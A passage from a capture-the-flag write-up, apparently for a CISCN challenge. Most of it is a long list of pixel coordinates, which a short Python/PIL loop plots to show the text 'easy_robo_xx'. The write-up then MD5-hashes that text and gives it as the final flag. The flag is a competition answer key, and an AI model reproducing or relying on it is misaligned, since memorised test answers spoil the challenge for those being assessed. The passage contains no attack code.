,48],[208,50],[208,51],[207,53],[207,54],[206,56],[204,58],[203,60],[202,61],[201,62],[201,63],[200,64],[199,64],[198,64],[197,65],[196,65],[195,65],[193,65],[192,65],[190,65],[189,65],[187,65],[185,65],[184,65],[183,65],[181,64],[180,63],[179,63],[178,62],[177,62],[175,61],[174,60],[173,59],[243,20],[243,20],[244,19],[244,21],[244,25],[245,26],[245,29],[247,32],[247,34],[248,36],[248,37],[249,39],[250,40],[251,42],[251,43],[252,44],[254,44],[256,44],[258,44],[260,42],[262,41],[263,40],[265,38],[266,35],[267,32],[268,30],[271,27],[272,25],[273,22],[274,21],[275,20],[275,19],[274,18],[274,20],[272,22],[271,23],[271,26],[268,29],[266,33],[266,35],[265,37],[263,40],[262,42],[262,44],[261,47],[260,49],[259,51],[258,55],[258,56],[257,58],[255,61],[254,62],[253,63],[253,64],[252,65],[251,66],[250,67],[249,68],[248,69],[247,70],[246,71],[245,72],[244,73],[298,64],[298,64],[299,65],[300,65],[302,65],[304,65],[306,65],[308,65],[309,65],[312,65],[315,65],[317,65],[319,65],[322,65],[325,65],[327,65],[330,65],[332,65],[334,66],[335,66],[20,103],[20,104],[20,107],[20,110],[20,112],[20,114],[20,118],[19,121],[18,124],[17,126],[17,130],[17,134],[17,137],[17,139],[17,142],[17,143],[17,146],[17,147],[17,149],[17,150],[17,149],[17,148],[17,146],[18,145],[18,143],[19,142],[20,141],[20,140],[21,138],[21,137],[22,135],[23,134],[24,132],[25,131],[26,129],[27,128],[28,127],[29,126],[31,125],[32,124],[32,123],[34,121],[35,120],[37,120],[38,119],[40,118],[41,118],[43,117],[44,116],[46,115],[48,115],[49,114],[50,113],[51,113],[52,112],[80,121],[80,121],[79,120],[78,121],[77,122],[77,123],[77,124],[76,127],[75,128],[74,129],[73,131],[73,132],[73,133],[72,135],[72,136],[72,137],[72,138],[72,139],[72,140],[72,142],[72,144],[72,145],[73,148],[74,149],[77,150],[78,150],[80,151],[81,151],[82,151],[83,151],[84,151],[85,151],[87,151],[89,151],[90,151],[92,150],[93,150],[95,149],[97,147],[98,146],[99,146],[100,145],[101,144],[102,142],[102,141],[104,139],[104,138],[105,136],[105,135],[105,133],[105,132],[105,131],[105,129],[104,128],[103,126],[102,126],[101,125],[98,123],[96,123],[95,123],[93,123],[92,122],[90,121],[89,121],[86,120],[147,98],[147,98],[146,99],[145,100],[144,103],[143,104],[142,105],[142,106],[142,109],[142,111],[142,114],[141,118],[140,120],[139,123],[138,127],[138,129],[137,133],[135,135],[134,137],[133,139],[131,142],[131,143],[131,145],[130,146],[129,149],[128,152],[128,153],[127,156],[127,157],[126,158],[127,157],[129,157],[130,156],[132,156],[134,155],[137,153],[138,152],[139,151],[140,150],[143,149],[144,148],[145,147],[146,146],[147,145],[149,144],[149,143],[150,142],[151,141],[152,140],[152,139],[153,138],[153,137],[153,136],[153,135],[153,134],[153,133],[152,132],[151,131],[150,131],[149,130],[147,129],[186,136],[186,136],[183,137],[182,138],[182,139],[182,140],[181,142],[179,144],[179,145],[179,147],[178,149],[177,150],[177,151],[177,152],[177,154],[177,156],[177,157],[177,158],[178,160],[179,161],[180,162],[181,163],[182,164],[184,164],[186,164],[187,164],[188,164],[190,163],[191,162],[192,162],[194,160],[196,159],[197,158],[197,156],[198,155],[200,153],[200,152],[201,150],[201,149],[201,148],[201,147],[201,145],[201,144],[201,142],[201,141],[201,139],[201,138],[200,136],[199,135],[198,135],[197,135],[196,135],[195,135],[193,135],[192,135],[190,135],[189,135],[223,167],[223,167],[224,167],[226,167],[228,167],[229,167],[232,167],[233,167],[234,167],[235,167],[237,167],[238,167],[240,167],[241,167],[243,167],[244,167],[246,167],[247,167],[250,168],[251,168],[252,168],[253,168],[254,168],[269,135],[271,136],[273,138],[275,140],[276,141],[278,143],[280,145],[282,147],[284,149],[285,150],[288,152],[289,153],[291,154],[293,156],[294,157],[296,159],[297,160],[298,161],[299,162],[300,136],[299,136],[297,137],[296,138],[294,141],[294,142],[293,144],[293,145],[292,148],[291,149],[290,151],[288,153],[288,155],[287,156],[286,157],[285,159],[284,160],[283,161],[282,162],[281,163],[280,164],[279,165],[327,142],[328,143],[330,145],[332,148],[333,149],[335,151],[337,154],[339,156],[341,158],[342,159],[345,160],[347,161],[348,162],[350,164],[351,165],[352,166],[355,168],[356,169],[351,143],[350,143],[348,144],[347,144],[346,145],[343,148],[341,150],[339,152],[336,155],[333,158],[330,159],[327,162],[325,165],[323,167],[322,168],[319,170],[317,171],[316,171],[314,172],[313,172])
for i in range(0, len(list)):
	picture.putpixel(l[i], (225, 225, 225))
picture.show()
picture.save("1.png")

得到字符串easy_robo_xx，md5加密d4f1fb80bc11ffd722861367747c0f10

最终flag：CISCN{d4f1fb80bc11ffd722861367747c0f10}